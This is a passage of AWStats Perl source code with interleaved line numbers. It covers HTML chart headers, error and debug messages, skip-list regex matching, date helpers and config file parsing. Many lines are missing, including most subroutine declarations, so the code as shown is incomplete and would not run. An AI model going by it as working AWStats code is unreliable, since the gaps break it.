1083
# print "<!-- NEW PAGE --><!-- NEW SHEET -->\n";
1087
#------------------------------------------------------------------------------
1088
# Function: Print on stdout tab header of a chart
1089
# Parameters: $title $tooltipnb [$width percentage of chart title]
1093
#------------------------------------------------------------------------------
1096
my $tooltipnb = shift;
1097
my $width = shift || 70;
1100
# Call to plugins' function TabHeadHTML
1101
my $extra_head_html = '';
1102
foreach my $pluginname ( keys %{ $PluginsLoaded{'TabHeadHTML'} } ) {
1103
my $function = "TabHeadHTML_$pluginname";
1104
$extra_head_html .= &$function($title);
1107
if ( $width == 70 && $QueryString =~ /buildpdf/i ) {
1109
"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"800\">\n";
1113
"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
1117
print "<tr><td class=\"aws_title\" width=\"$width%\""
1118
. Tooltip( $tooltipnb, $tooltipnb )
1120
. $extra_head_html . "</td>";
1123
print "<tr><td class=\"aws_title\" width=\"$width%\">$title "
1124
. $extra_head_html . "</td>";
1126
print "<td class=\"aws_blank\"> </td></tr>\n";
1127
print "<tr><td colspan=\"2\">\n";
1128
if ( $width == 70 && $QueryString =~ /buildpdf/i ) {
1130
"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"796\">\n";
1134
"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
1138
#------------------------------------------------------------------------------
1139
# Function: Print on stdout tab ender of a chart
1144
#------------------------------------------------------------------------------
1147
print "</table></td></tr></table>";
1150
"<span style=\"font: 11px verdana, arial, helvetica;\">$string</span><br />\n";
1155
#------------------------------------------------------------------------------
1156
# Function: Write error message and exit
1157
# Parameters: $message $secondmessage $thirdmessage $donotshowsetupinfo
1158
# Input: $HeaderHTTPSent $HeaderHTMLSent %HTMLOutput $LogSeparator $LogFormat
1161
#------------------------------------------------------------------------------
1163
my $message = shift || '';
1164
if ( scalar keys %HTMLOutput ) {
1165
$message =~ s/\</</g;
1166
$message =~ s/\>/>/g;
1168
my $secondmessage = shift || '';
1169
my $thirdmessage = shift || '';
1170
my $donotshowsetupinfo = shift || 0;
1172
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); }
1173
if ( !$HeaderHTMLSent && scalar keys %HTMLOutput ) {
1174
print "<html><body>\n";
1175
$HeaderHTMLSent = 1;
1177
if ($Debug) { debug( "$message $secondmessage $thirdmessage", 1 ); }
1181
my $tagfontred = '';
1182
my $tagfontgrey = '';
1184
if ( scalar keys %HTMLOutput ) {
1186
$tagunbold = '</b>';
1188
$tagfontred = '<span style="color: #880000">';
1189
$tagfontgrey = '<span style="color: #888888">';
1190
$tagunfont = '</span>';
1192
if ( !$ErrorMessages && $message =~ /^Format error$/i ) {
1194
# Files seems to have bad format
1195
if ( scalar keys %HTMLOutput ) { print "<br /><br />\n"; }
1196
if ( $message !~ $LogSeparator ) {
1198
# Bad LogSeparator parameter
1200
"${tagfontred}AWStats did not found the ${tagbold}LogSeparator${tagunbold} in your log records.${tagbr}${tagunfont}\n";
1204
# Bad LogFormat parameter
1206
"AWStats did not find any valid log lines that match your ${tagbold}LogFormat${tagunbold} parameter, in the ${NbOfLinesForCorruptedLog}th first non commented lines read of your log.${tagbr}\n";
1208
"${tagfontred}Your log file ${tagbold}$thirdmessage${tagunbold} must have a bad format or ${tagbold}LogFormat${tagunbold} parameter setup does not match this format.${tagbr}${tagbr}${tagunfont}\n";
1210
"Your AWStats ${tagbold}LogFormat${tagunbold} parameter is:\n";
1211
print "${tagbold}$LogFormat${tagunbold}${tagbr}\n";
1213
"This means each line in your web server log file need to have ";
1214
if ( $LogFormat == 1 ) {
1216
"${tagbold}\"combined log format\"${tagunbold} like this:${tagbr}\n";
1217
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1219
"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
1221
scalar keys %HTMLOutput
1222
? "</i>$tagunfont${tagbr}${tagbr}\n"
1226
if ( $LogFormat == 2 ) {
1228
"${tagbold}\"MSIE Extended W3C log format\"${tagunbold} like this:${tagbr}\n";
1229
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1231
"date time c-ip c-username cs-method cs-uri-sterm sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)\n";
1233
scalar keys %HTMLOutput
1234
? "</i>$tagunfont${tagbr}${tagbr}\n"
1238
if ( $LogFormat == 3 ) {
1240
"${tagbold}\"WebStar native log format\"${tagunbold}${tagbr}\n";
1242
if ( $LogFormat == 4 ) {
1244
"${tagbold}\"common log format\"${tagunbold} like this:${tagbr}\n";
1245
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1247
"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234\n";
1249
scalar keys %HTMLOutput
1250
? "</i>$tagunfont${tagbr}${tagbr}\n"
1254
if ( $LogFormat == 6 ) {
1256
"${tagbold}\"Lotus Notes/Lotus Domino\"${tagunbold}${tagbr}\n";
1257
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1259
"111.22.33.44 - Firstname Middlename Lastname [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
1261
scalar keys %HTMLOutput
1262
? "</i></span>${tagbr}${tagbr}\n"
1266
if ( $LogFormat !~ /^[1-6]$/ ) {
1267
print "the following personalized log format:${tagbr}\n";
1268
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
1269
print "$LogFormat\n";
1271
scalar keys %HTMLOutput
1272
? "</i>$tagunfont${tagbr}${tagbr}\n"
1277
"And this is an example of records AWStats found in your log file (the record number $NbOfLinesForCorruptedLog in your log):\n";
1278
print( scalar keys %HTMLOutput ? "<br />$tagfontgrey<i>" : "" );
1279
print "$secondmessage";
1281
scalar keys %HTMLOutput
1282
? "</i>$tagunfont${tagbr}${tagbr}"
1288
#print "Note: If your $NbOfLinesForCorruptedLog first lines in your log files are wrong because of ";
1289
#print "a worm virus attack, you can increase the NbOfLinesForCorruptedLog parameter in config file.\n";
1293
print( scalar keys %HTMLOutput ? "<br />$tagfontred\n" : "" );
1294
print( $ErrorMessages? "$ErrorMessages" : "Error: $message" );
1295
print( scalar keys %HTMLOutput ? "\n</span><br />" : "" );
1298
if ( !$ErrorMessages && !$donotshowsetupinfo ) {
1299
if ( $message =~ /Couldn.t open config file/i ) {
1301
if ( $dir =~ /^\./ ) { $dir .= '/../..'; }
1302
else { $dir =~ s/[\\\/]?wwwroot[\/\\]cgi-bin[\\\/]?//; }
1304
if ( $ENV{'GATEWAY_INTERFACE'} ) {
1306
"- ${tagbold}Did you use the correct URL ?${tagunbold}${tagbr}\n";
1308
"Example: http://localhost/awstats/awstats.pl?config=mysite${tagbr}\n";
1310
"Example: http://127.0.0.1/cgi-bin/awstats.pl?config=mysite${tagbr}\n";
1314
"- ${tagbold}Did you use correct config parameter ?${tagunbold}${tagbr}\n";
1316
"Example: If your config file is awstats.mysite.conf, use -config=mysite\n";
1319
"- ${tagbold}Did you create your config file 'awstats.$SiteConfig.conf' ?${tagunbold}${tagbr}\n";
1321
"If not, you can run \"awstats_configure.pl\"\nfrom command line, or create it manually.${tagbr}\n";
1325
print "${tagbr}${tagbold}Setup ("
1326
. ( $FileConfig ? "'" . $FileConfig . "'" : "Config" )
1327
. " file, web server or permissions) may be wrong.${tagunbold}${tagbr}\n";
1330
"Check config file, permissions and AWStats documentation (in 'docs' directory).\n";
1333
# Remove lock if not a lock message
1334
if ( $EnableLockForUpdate && $message !~ /lock file/ ) { &Lock_Update(0); }
1335
if ( scalar keys %HTMLOutput ) { print "</body></html>\n"; }
1339
#------------------------------------------------------------------------------
1340
# Function: Write a warning message
1341
# Parameters: $message
1342
# Input: $HeaderHTTPSent $HeaderHTMLSent $WarningMessage %HTMLOutput
1345
#------------------------------------------------------------------------------
1347
my $messagestring = shift;
1349
if ($Debug) { debug( "$messagestring", 1 ); }
1350
if ($WarningMessages) {
1351
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); }
1352
if ( !$HeaderHTMLSent ) { html_head(); }
1353
if ( scalar keys %HTMLOutput ) {
1354
$messagestring =~ s/\n/\<br\>/g;
1355
print "$messagestring<br />\n";
1358
print "$messagestring\n";
1363
#------------------------------------------------------------------------------
1364
# Function: Write debug message and exit
1365
# Parameters: $string $level
1366
# Input: %HTMLOutput $Debug=required level $DEBUGFORCED=required level forced
1369
#------------------------------------------------------------------------------
1371
my $level = $_[1] || 1;
1373
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) {
1375
} # To send the HTTP header and see debug
1376
if ( $level <= $DEBUGFORCED ) {
1377
my $debugstring = $_[0];
1378
if ( !$DebugResetDone ) {
1379
open( DEBUGFORCEDFILE, "debug.log" );
1380
close DEBUGFORCEDFILE;
1381
chmod 0666, "debug.log";
1382
$DebugResetDone = 1;
1384
open( DEBUGFORCEDFILE, ">>debug.log" );
1385
print DEBUGFORCEDFILE localtime(time)
1386
. " - $$ - DEBUG $level - $debugstring\n";
1387
close DEBUGFORCEDFILE;
1389
if ( $DebugMessages && $level <= $Debug ) {
1390
my $debugstring = $_[0];
1391
if ( scalar keys %HTMLOutput ) {
1392
$debugstring =~ s/^ / /;
1393
$debugstring .= "<br />";
1395
print localtime(time) . " - DEBUG $level - $debugstring\n";
1399
#------------------------------------------------------------------------------
1400
# Function: Optimize an array removing duplicate entries
1401
# Parameters: @Array notcasesensitive=0|1
1405
#------------------------------------------------------------------------------
1408
my @arrayunreg = map {
1409
if (/\(\?[-\w]*:(.*)\)/) { $1 }
1411
my $notcasesensitive = shift;
1414
debug( "OptimizeArray (notcasesensitive=$notcasesensitive)", 4 );
1416
while ( $searchlist > -1 && @arrayunreg ) {
1417
my $elemtoremove = -1;
1419
foreach my $i ( $searchlist .. ( scalar @arrayunreg ) - 1 ) {
1421
# Search if $i elem is already treated by another elem
1422
foreach my $j ( 0 .. ( scalar @arrayunreg ) - 1 ) {
1423
if ( $i == $j ) { next; }
1425
$notcasesensitive ? lc( $arrayunreg[$i] ) : $arrayunreg[$i];
1427
$notcasesensitive ? lc( $arrayunreg[$j] ) : $arrayunreg[$j];
1429
debug( " Compare $i ($parami) to $j ($paramj)", 4 );
1431
if ( index( $parami, $paramj ) > -1 ) {
1434
" Elem $i ($arrayunreg[$i]) already treated with elem $j ($arrayunreg[$j])",
1443
if ( $elemtoremove > -1 ) {
1446
" Remove elem $elemtoremove - $arrayunreg[$elemtoremove]",
1449
splice @arrayunreg, $elemtoremove, 1;
1450
$searchlist = $elemtoremove;
1456
if ($notcasesensitive) {
1457
return map { qr/$_/i } @arrayunreg;
1459
return map { qr/$_/ } @arrayunreg;
1462
#------------------------------------------------------------------------------
1463
# Function: Check if parameter is in SkipDNSLookupFor array
1464
# Parameters: ip @SkipDNSLookupFor (a NOT case sensitive precompiled regex array)
1465
# Return: 0 Not found, 1 Found
1466
#------------------------------------------------------------------------------
1468
foreach (@SkipDNSLookupFor) {
1469
if ( $_[0] =~ /$_/ ) { return 1; }
1471
0; # Not in @SkipDNSLookupFor
1474
#------------------------------------------------------------------------------
1475
# Function: Check if parameter is in SkipHosts array
1476
# Parameters: host @SkipHosts (a NOT case sensitive precompiled regex array)
1477
# Return: 0 Not found, 1 Found
1478
#------------------------------------------------------------------------------
1480
foreach (@SkipHosts) {
1481
if ( $_[0] =~ /$_/ ) { return 1; }
1483
0; # Not in @SkipHosts
1486
#------------------------------------------------------------------------------
1487
# Function: Check if parameter is in SkipReferrers array
1488
# Parameters: host @SkipReferrers (a NOT case sensitive precompiled regex array)
1489
# Return: 0 Not found, 1 Found
1490
#------------------------------------------------------------------------------
1492
foreach (@SkipReferrers) {
1493
if ( $_[0] =~ /$_/ ) { return 1; }
1495
0; # Not in @SkipReferrers
1498
#------------------------------------------------------------------------------
1499
# Function: Check if parameter is in SkipUserAgents array
1500
# Parameters: useragent @SkipUserAgents (a NOT case sensitive precompiled regex array)
1501
# Return: 0 Not found, 1 Found
1502
#------------------------------------------------------------------------------
1504
foreach (@SkipUserAgents) {
1505
if ( $_[0] =~ /$_/ ) { return 1; }
1507
0; # Not in @SkipUserAgent
1510
#------------------------------------------------------------------------------
1511
# Function: Check if parameter is in SkipFiles array
1512
# Parameters: url @SkipFiles (a NOT case sensitive precompiled regex array)
1513
# Return: 0 Not found, 1 Found
1514
#------------------------------------------------------------------------------
1516
foreach (@SkipFiles) {
1517
if ( $_[0] =~ /$_/ ) { return 1; }
1519
0; # Not in @SkipFiles
1522
#------------------------------------------------------------------------------
1523
# Function: Check if parameter is in OnlyHosts array
1524
# Parameters: host @OnlyHosts (a NOT case sensitive precompiled regex array)
1525
# Return: 0 Not found, 1 Found
1526
#------------------------------------------------------------------------------
1528
foreach (@OnlyHosts) {
1529
if ( $_[0] =~ /$_/ ) { return 1; }
1531
0; # Not in @OnlyHosts
1534
#------------------------------------------------------------------------------
1535
# Function: Check if parameter is in OnlyUsers array
1536
# Parameters: host @OnlyUsers (a NOT case sensitive precompiled regex array)
1537
# Return: 0 Not found, 1 Found
1538
#------------------------------------------------------------------------------
1540
foreach (@OnlyUsers) {
1541
if ( $_[0] =~ /$_/ ) { return 1; }
1543
0; # Not in @OnlyUsers
1546
#------------------------------------------------------------------------------
1547
# Function: Check if parameter is in OnlyUserAgents array
1548
# Parameters: useragent @OnlyUserAgents (a NOT case sensitive precompiled regex array)
1549
# Return: 0 Not found, 1 Found
1550
#------------------------------------------------------------------------------
1552
foreach (@OnlyUserAgents) {
1553
if ( $_[0] =~ /$_/ ) { return 1; }
1555
0; # Not in @OnlyUserAgents
1558
#------------------------------------------------------------------------------
1559
# Function: Check if parameter is in NotPageFiles array
1560
# Parameters: url @NotPageFiles (a NOT case sensitive precompiled regex array)
1561
# Return: 0 Not found, 1 Found
1562
#------------------------------------------------------------------------------
1564
foreach (@NotPageFiles) {
1565
if ( $_[0] =~ /$_/ ) { return 1; }
1567
0; # Not in @NotPageFiles
1570
#------------------------------------------------------------------------------
1571
# Function: Check if parameter is in OnlyFiles array
1572
# Parameters: url @OnlyFiles (a NOT case sensitive precompiled regex array)
1573
# Return: 0 Not found, 1 Found
1574
#------------------------------------------------------------------------------
1576
foreach (@OnlyFiles) {
1577
if ( $_[0] =~ /$_/ ) { return 1; }
1579
0; # Not in @OnlyFiles
1582
#------------------------------------------------------------------------------
1583
# Function: Return day of week of a day
1584
# Parameters: $day $month $year
1586
#------------------------------------------------------------------------------
1588
my ( $day, $month, $year ) = @_;
1589
if ($Debug) { debug( "DayOfWeek for $day $month $year", 4 ); }
1590
if ( $month < 3 ) { $month += 10; $year--; }
1591
else { $month -= 2; }
1592
my $cent = sprintf( "%1i", ( $year / 100 ) );
1593
my $y = ( $year % 100 );
1595
sprintf( "%1i", ( 2.6 * $month ) - 0.2 ) + $day + $y +
1596
sprintf( "%1i", ( $y / 4 ) ) + sprintf( "%1i", ( $cent / 4 ) ) -
1597
( 2 * $cent ) ) % 7;
1598
$dw += 7 if ( $dw < 0 );
1599
if ($Debug) { debug( " is $dw", 4 ); }
1603
#------------------------------------------------------------------------------
1604
# Function: Return 1 if a date exists
1605
# Parameters: $day $month $year
1606
# Return: 1 if date exists else 0
1607
#------------------------------------------------------------------------------
1609
my ( $day, $month, $year ) = @_;
1610
if ($Debug) { debug( "DateIsValid for $day $month $year", 4 ); }
1611
if ( $day < 1 ) { return 0; }
1612
if ( $day > 31 ) { return 0; }
1613
if ( $month == 4 || $month == 6 || $month == 9 || $month == 11 ) {
1614
if ( $day > 30 ) { return 0; }
1616
elsif ( $month == 2 ) {
1617
my $leapyear = ( $year % 4 == 0 ? 1 : 0 ); # A leap year every 4 years
1618
if ( $year % 100 == 0 && $year % 400 != 0 ) {
1620
} # Except if year is 100x and not 400x
1621
if ( $day > ( 28 + $leapyear ) ) { return 0; }
1626
#------------------------------------------------------------------------------
1627
# Function: Return string of visit duration
1628
# Parameters: $starttime $endtime
1631
# Return: A string that identify the visit duration range
1632
#------------------------------------------------------------------------------
1633
sub GetSessionRange {
1634
my $starttime = my $endtime;
1635
if ( shift =~ /$regdate/o ) {
1636
$starttime = Time::Local::timelocal( $6, $5, $4, $3, $2 - 1, $1 );
1638
if ( shift =~ /$regdate/o ) {
1639
$endtime = Time::Local::timelocal( $6, $5, $4, $3, $2 - 1, $1 );
1641
my $delay = $endtime - $starttime;
1643
debug( "GetSessionRange $endtime - $starttime = $delay", 4 );
1645
if ( $delay <= 30 ) { return $SessionsRange[0]; }
1646
if ( $delay <= 120 ) { return $SessionsRange[1]; }
1647
if ( $delay <= 300 ) { return $SessionsRange[2]; }
1648
if ( $delay <= 900 ) { return $SessionsRange[3]; }
1649
if ( $delay <= 1800 ) { return $SessionsRange[4]; }
1650
if ( $delay <= 3600 ) { return $SessionsRange[5]; }
1651
return $SessionsRange[6];
1654
#------------------------------------------------------------------------------
1655
# Function: Compare two browsers version
1660
#------------------------------------------------------------------------------
1664
foreach my $family ( keys %BrowsersFamily ) {
1665
if ( $a =~ /^$family/i ) {
1666
$a =~ m/^(\D+)([\d\.]+)?$/;
1668
@a_ver = split( /\./, $2 );
1673
foreach my $family ( keys %BrowsersFamily ) {
1674
if ( $b =~ /^$family/i ) {
1675
$b =~ m/^(\D+)([\d\.]+)?$/;
1677
@b_ver = split( /\./, $2 );
1684
$compare = $a_family cmp $b_family;
1685
if ( $compare != 0 ) {
1690
my $a_num = shift @a_ver || 0;
1691
my $b_num = shift @b_ver || 0;
1693
$compare = $a_num <=> $b_num;
1695
|| ( scalar(@a_ver) == 0 && scalar(@b_ver) == 0 && $compare == 0 ) )
1704
#------------------------------------------------------------------------------
1705
# Function: Read config file
1706
# Parameters: None or configdir to scan
1707
# Input: $DIR $PROG $SiteConfig
1708
# Output: Global variables
1710
#------------------------------------------------------------------------------
1713
# Check config file in common possible directories :
1714
# Windows : "$DIR" (same dir than awstats.pl)
1715
# Standard, Mandrake and Debian package : "/etc/awstats"
1716
# Other possible directories : "/usr/local/etc/awstats", "/etc"
1717
# FHS standard, Suse package : "/etc/opt/awstats"
1718
my $configdir = shift;
1719
my @PossibleConfigDir = ();
1722
# If from CGI, overwriting of configdir is only possible if AWSTATS_ENABLE_CONFIG_DIR defined
1723
if ($ENV{'GATEWAY_INTERFACE'} && ! $ENV{"AWSTATS_ENABLE_CONFIG_DIR"}) {
1724
error("Sorry, to allow overwriting of configdir parameter from an AWStats CGI usage, environment variable AWSTATS_ENABLE_CONFIG_DIR must be set to 1");
1727
@PossibleConfigDir = ("$configdir");
1731
@PossibleConfigDir = (
1732
"$DIR", "/etc/awstats",
1733
"/usr/local/etc/awstats", "/etc",
1739
$FileConfig = $FileSuffix = '';
1740
foreach (@PossibleConfigDir) {
1742
if ( $searchdir && $searchdir !~ /[\\\/]$/ ) { $searchdir .= "/"; }
1743
if ( open( CONFIG, "$searchdir$PROG.$SiteConfig.conf" ) ) {
1744
$FileConfig = "$searchdir$PROG.$SiteConfig.conf";
1745
$FileSuffix = ".$SiteConfig";
1748
if ( open( CONFIG, "$searchdir$PROG.conf" ) ) {
1749
$FileConfig = "$searchdir$PROG.conf";
1754
if ( !$FileConfig ) {
1756
"Couldn't open config file \"$PROG.$SiteConfig.conf\" nor \"$PROG.conf\" after searching in path \""
1757
. join( ',', @PossibleConfigDir )
1761
# Analyze config file content and close it
1762
&Parse_Config( *CONFIG, 1, $FileConfig );
1765
# If parameter NotPageList not found, init for backward compatibility
1766
if ( !$FoundNotPageList ) {
1781
# If parameter ValidHTTPCodes empty, init for backward compatibility
1782
if ( !scalar keys %ValidHTTPCodes ) {
1783
$ValidHTTPCodes{"200"} = $ValidHTTPCodes{"304"} = 1;
1786
# If parameter ValidSMTPCodes empty, init for backward compatibility
1787
if ( !scalar keys %ValidSMTPCodes ) {
1788
$ValidSMTPCodes{"1"} = $ValidSMTPCodes{"250"} = 1;
1792
#------------------------------------------------------------------------------
1793
# Function: Parse content of a config file
1794
# Parameters: opened file handle, depth level, file name
1796
# Output: Global variables
1798
#------------------------------------------------------------------------------
1800
my ($confighandle) = $_[0];
1802
my $configFile = $_[2];
1806
if ( $level > 10 ) {
1808
"$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)."
1812
while (<$confighandle>) {
1817
# Extract version from first line
1818
if ( !$versionnum && $_ =~ /^# AWSTATS CONFIGURE FILE (\d+).(\d+)/i ) {
1819
$versionnum = ( $1 * 1000 ) + $2;
1821
#if ($Debug) { debug(" Configure file version is $versionnum",1); }
1825
if ( $_ =~ /^\s*$/ ) { next; }
1828
if ( $_ =~ /^Include "([^\"]+)"/ || $_ =~ /^#include "([^\"]+)"/ )
1829
{ # #include kept for backward compatibility
1830
my $includeFile = $1;
1832
# Expand __var__ by values
1833
while ( $includeFile =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) {
1835
$includeFile =~ s/__${var}__/$ENV{$var}/g;
1837
if ($Debug) { debug( "Found an include : $includeFile", 2 ); }
1838
if ( $includeFile !~ /^[\\\/]/ ) {
1840
# Correct relative include files
1841
if ( $FileConfig =~ /^(.*[\\\/])[^\\\/]*$/ ) {
1842
$includeFile = "$1$includeFile";
1845
if ( $level > 1 && $^V lt v5.6.0 ) {
1847
"Warning: Perl versions before 5.6 cannot handle nested includes"
1851
if ( open( CONFIG_INCLUDE, $includeFile ) ) {
1852
&Parse_Config( *CONFIG_INCLUDE, $level + 1, $includeFile );
1853
close(CONFIG_INCLUDE);
1856
error("Could not open include file: $includeFile");
1862
if ( $_ =~ /^\s*#/ ) { next; }
1865
# Extract param and value
1866
my ( $param, $value ) = split( /=/, $_, 2 );
1870
# If not a param=value, try with next line
1873
"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
1877
if ( !defined $value ) {
1879
"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
1888
$value =~ s/\";?$//;
1890
# Replace __MONENV__ with value of environnement variable MONENV
1891
# Must be able to replace __VAR_1____VAR_2__
1892
while ( $value =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) {
1894
$value =~ s/__${var}__/$ENV{$var}/g;
1898
# Initialize parameter for (param,value)
1899
if ( $param =~ /^LogFile/ ) {
1900
if ( $QueryString !~ /logfile=([^\s&]+)/i ) { $LogFile = $value; }
1903
if ( $param =~ /^DirIcons/ ) {
1904
if ( $QueryString !~ /diricons=([^\s&]+)/i ) { $DirIcons = $value; }
1907
if ( $param =~ /^SiteDomain/ ) {
1909
# No regex test as SiteDomain is always exact value
1910
$SiteDomain = $value;
1913
if ( $param =~ /^HostAliases/ ) {
1915
foreach my $elem ( split( /\s+/, $value ) ) {
1916
if ( $elem =~ s/^\@// ) { # If list of hostaliases in a file
1917
open( DATAFILE, "<$elem" )
1919
"Failed to open file '$elem' declared in HostAliases parameter"
1921
my @val = map( /^(.*)$/i, <DATAFILE> );
1922
push @HostAliases, map { qr/^$_$/i } @val;
1926
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1927
else { $elem = '^' . quotemeta($elem) . '$'; }
1928
if ($elem) { push @HostAliases, qr/$elem/i; }
1934
# Special optional setup params
1935
if ( $param =~ /^SkipDNSLookupFor/ ) {
1936
@SkipDNSLookupFor = ();
1937
foreach my $elem ( split( /\s+/, $value ) ) {
1938
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1939
else { $elem = '^' . quotemeta($elem) . '$'; }
1940
if ($elem) { push @SkipDNSLookupFor, qr/$elem/i; }
1944
if ( $param =~ /^AllowAccessFromWebToFollowingAuthenticatedUsers/ ) {
1945
@AllowAccessFromWebToFollowingAuthenticatedUsers = ();
1946
foreach ( split( /\s+/, $value ) ) {
1947
push @AllowAccessFromWebToFollowingAuthenticatedUsers, $_;
1951
if ( $param =~ /^DefaultFile/ ) {
1953
foreach my $elem ( split( /\s+/, $value ) ) {
1955
# No REGEX for this option
1956
#if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; }
1957
#else { $elem='^'.quotemeta($elem).'$'; }
1958
if ($elem) { push @DefaultFile, $elem; }
1962
if ( $param =~ /^SkipHosts/ ) {
1964
foreach my $elem ( split( /\s+/, $value ) ) {
1965
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1966
else { $elem = '^' . quotemeta($elem) . '$'; }
1967
if ($elem) { push @SkipHosts, qr/$elem/i; }
1971
if ( $param =~ /^SkipReferrersBlackList/ && $value ) {
1972
open( BLACKLIST, "<$value" )
1973
|| die "Failed to open blacklist: $!\n";
1974
while (<BLACKLIST>) {
1979
if ($elem) { push @SkipReferrers, qr/$elem/i; }
1984
if ( $param =~ /^SkipUserAgents/ ) {
1985
@SkipUserAgents = ();
1986
foreach my $elem ( split( /\s+/, $value ) ) {
1987
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1988
else { $elem = '^' . quotemeta($elem) . '$'; }
1989
if ($elem) { push @SkipUserAgents, qr/$elem/i; }
1993
if ( $param =~ /^SkipFiles/ ) {
1995
foreach my $elem ( split( /\s+/, $value ) ) {
1996
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
1997
else { $elem = '^' . quotemeta($elem) . '$'; }
1998
if ($elem) { push @SkipFiles, qr/$elem/i; }
2002
if ( $param =~ /^OnlyHosts/ ) {
2004
foreach my $elem ( split( /\s+/, $value ) ) {
2005
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2006
else { $elem = '^' . quotemeta($elem) . '$'; }
2007
if ($elem) { push @OnlyHosts, qr/$elem/i; }
2011
if ( $param =~ /^OnlyUsers/ ) {
2013
foreach my $elem ( split( /\s+/, $value ) ) {
2014
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2015
else { $elem = '^' . quotemeta($elem) . '$'; }
2016
if ($elem) { push @OnlyUsers, qr/$elem/i; }
2020
if ( $param =~ /^OnlyUserAgents/ ) {
2021
@OnlyUserAgents = ();
2022
foreach my $elem ( split( /\s+/, $value ) ) {
2023
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2024
else { $elem = '^' . quotemeta($elem) . '$'; }
2025
if ($elem) { push @OnlyUserAgents, qr/$elem/i; }
2029
if ( $param =~ /^OnlyFiles/ ) {
2031
foreach my $elem ( split( /\s+/, $value ) ) {
2032
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2033
else { $elem = '^' . quotemeta($elem) . '$'; }
2034
if ($elem) { push @OnlyFiles, qr/$elem/i; }
2038
if ( $param =~ /^NotPageFiles/ ) {
2040
foreach my $elem ( split( /\s+/, $value ) ) {
2041
if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; }
2042
else { $elem = '^' . quotemeta($elem) . '$'; }
2043
if ($elem) { push @NotPageFiles, qr/$elem/i; }
2047
if ( $param =~ /^NotPageList/ ) {
2049
foreach ( split( /\s+/, $value ) ) { $NotPageList{$_} = 1; }
2050
$FoundNotPageList = 1;
2053
if ( $param =~ /^ValidHTTPCodes/ ) {
2054
%ValidHTTPCodes = ();
2055
foreach ( split( /\s+/, $value ) ) { $ValidHTTPCodes{$_} = 1; }
2058
if ( $param =~ /^ValidSMTPCodes/ ) {
2059
%ValidSMTPCodes = ();
2060
foreach ( split( /\s+/, $value ) ) { $ValidSMTPCodes{$_} = 1; }
2063
if ( $param =~ /^URLWithQueryWithOnlyFollowingParameters$/ ) {
2064
@URLWithQueryWithOnly = split( /\s+/, $value );
2067
if ( $param =~ /^URLWithQueryWithoutFollowingParameters$/ ) {
2068
@URLWithQueryWithout = split( /\s+/, $value );
2073
if ( $param =~ /^ExtraSectionName(\d+)/ ) {
2074
$ExtraName[$1] = $value;
2077
if ( $param =~ /^ExtraSectionCodeFilter(\d+)/ ) {
2078
@{ $ExtraCodeFilter[$1] } = split( /\s+/, $value );
2081
if ( $param =~ /^ExtraSectionCondition(\d+)/ ) {
2082
$ExtraCondition[$1] = $value;
2085
if ( $param =~ /^ExtraSectionStatTypes(\d+)/ ) {
2086
$ExtraStatTypes[$1] = $value;
2089
if ( $param =~ /^ExtraSectionFirstColumnTitle(\d+)/ ) {
2090
$ExtraFirstColumnTitle[$1] = $value;
2093
if ( $param =~ /^ExtraSectionFirstColumnValues(\d+)/ ) {
2094
$ExtraFirstColumnValues[$1] = $value;
2097
if ( $param =~ /^ExtraSectionFirstColumnFunction(\d+)/ ) {
2098
$ExtraFirstColumnFunction[$1] = $value;
2101
if ( $param =~ /^ExtraSectionFirstColumnFormat(\d+)/ ) {
2102
$ExtraFirstColumnFormat[$1] = $value;
2105
if ( $param =~ /^ExtraSectionAddAverageRow(\d+)/ ) {
2106
$ExtraAddAverageRow[$1] = $value;
2109
if ( $param =~ /^ExtraSectionAddSumRow(\d+)/ ) {
2110
$ExtraAddSumRow[$1] = $value;
2113
if ( $param =~ /^MaxNbOfExtra(\d+)/ ) {
2114
$MaxNbOfExtra[$1] = $value;
2117
if ( $param =~ /^MinHitExtra(\d+)/ ) {
2118
$MinHitExtra[$1] = $value;
2123
if ( $param =~ /^LoadPlugin/ ) { push @PluginsToLoad, $value; next; }
2125
